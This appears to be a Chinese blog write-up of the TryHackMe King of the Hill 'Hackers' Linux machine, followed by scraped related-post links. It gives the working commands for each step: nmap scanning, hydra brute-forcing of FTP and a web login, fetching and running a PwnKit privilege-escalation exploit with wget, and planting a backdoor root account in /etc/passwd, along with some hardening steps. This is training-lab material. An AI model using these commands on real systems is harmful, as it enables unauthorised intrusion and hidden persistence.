Koth Hackers - Linux

King of the hill

进攻

nmap 扫：

nmap -sS 10.10.122.117 -sV21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
9999/tcp open  abyss?

ftp有东西

披露了有用户存在弱密码

rcampbell:Robert M. Campbell:Weak password
gcrawford:Gerard B. Crawford:Exposing crypto keys, weak password

爆破：

hydra -l rcampbell -P /usr/share/wordlists/rockyou.txt 10.10.122.117 ftp

结果：

[21][ftp] host: 10.10.122.117   login: rcampbell   password: lipgloss

gobuster爆破http目录

/backdoor

robots.txt暴露用户名:

plaguehydra -l plague -P /usr/share/wordlists/rockyou.txt 10.10.122.117 http-post-form "/api/user/login:username=plague&password=^PASS^:Incorrect credentials"

尝试爆破，爆了很久，爆不出

ftp的那两个弱密码爆出来了，拿去登ssh，成功

CVE-2021-4034

find / -type f -perm -u+s 2>/dev/null

发现pkexec

pkexec具有suid

尝试pwnkit利用。传入exp

攻击机：python3 -m http.server 8000
目标：wget http://10.14.39.48:8000/PwnKitchmod 777 ./PwnKit./PwnKit

成功getroot

防守（漏洞修补）：

拿到root先把那两个弱密码的两个用户密码全改了。

openssl生成密码hash：

openssl passwd -1 -salt hack 1q2w3e4recho 'sugo:$1$hack$eu7wA.3faDMt9Z2srODT9/:0:0:root:/root:/bin/bash' >> /etc/passwd

留后手

把/etc/sudoers的内容全清

Capabilitie清除

getcap -r / 2>/dev/null

发现存在:

/usr/bin/python3.6 = cap_setuid+ep
/usr/bin/python3.6m = cap_setuid+ep

使用命令将其清除：

setcap -r

Pkexec suid

由于我们也是利用pwnkit进来的，所以我们需要把pkexec的suid清掉，以免其他选手以此getroot:

chmod -u-s

愉快找flag…

TryHackMe-Koth-Hackers-Linux相关推荐

Linux专家警告开源软件日益吸引黑客
Linux expert warns of open source's growing appeal to hackers Linux专家警告开源软件日益吸引黑客 <purple endurer ...
Linux Hackers/Suspicious Account Detection
catalog 1. Linux黑客帐号攻击向量2. Linux可疑帐号检测模型 1. Linux黑客帐号攻击向量 0x1: 将黑客帐号添加到"root"组 1. useradd ...
学习笔记之Linux Basics for Hackers【(美)OccupyTheWeb 著】
第一章:基础知识学习一.术语解释二进制文件:此术语是指可以执行的文件,二进制文件通常位于/ usr/bin 或 usr/sbin 目录中,包括 ps,cat,ls 和 cd 等实用程序以及无线应 ...
linux basics for hackers
9.解压缩对于组合文件, tar 是首选命令, 并且您至少有三个实用程序可以使用不同的压缩比压缩文件--gzip. bzip2 和 compression. dd 命令超越了这个范围.它使您能够在 ...
Linux驱动程序编写
工作需要写了我们公司一块网卡的Linux驱动程序.经历一个从无到有的过程,深感技术交流的重要.Linux作为挑战微软垄断的强有力武器,日益受到大家的喜爱.真希望她能在中国迅速成长.把程序文档贴出来, ...
Linux网卡驱动程序编写
Linux网卡驱动程序编写 [摘自 LinuxAID] 工作需要写了我们公司一块网卡的Linux驱动程序.经历一个从无到有的过程,深感技术交流的重要.Linux作为挑战微软垄断的强有力武器,日益受到大 ...
linux 自动提权perl脚本
linux各种版本的 exp地址:http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/var.txt 使用demo yaseng@U ...
[linux] Linux日志设置（转自抚琴煮酒）
进行任何Linux系统设置时首先要做的事就是--备份配置文件!!!! 一.syslog.conf的设置目前,linux依旧使用syslogd作为日志监控进程,对其进行必要的配置能减少很多麻烦,并且可 ...
Google怎么用linux
今年的linux内核开发大会上,google的开发人员也上台做了名为"how google use linux"的演讲.我斗胆翻译注解一番――括号内为注解,欢迎读者斧正. 原文链接 ...

TryHackMe-Koth-Hackers-Linux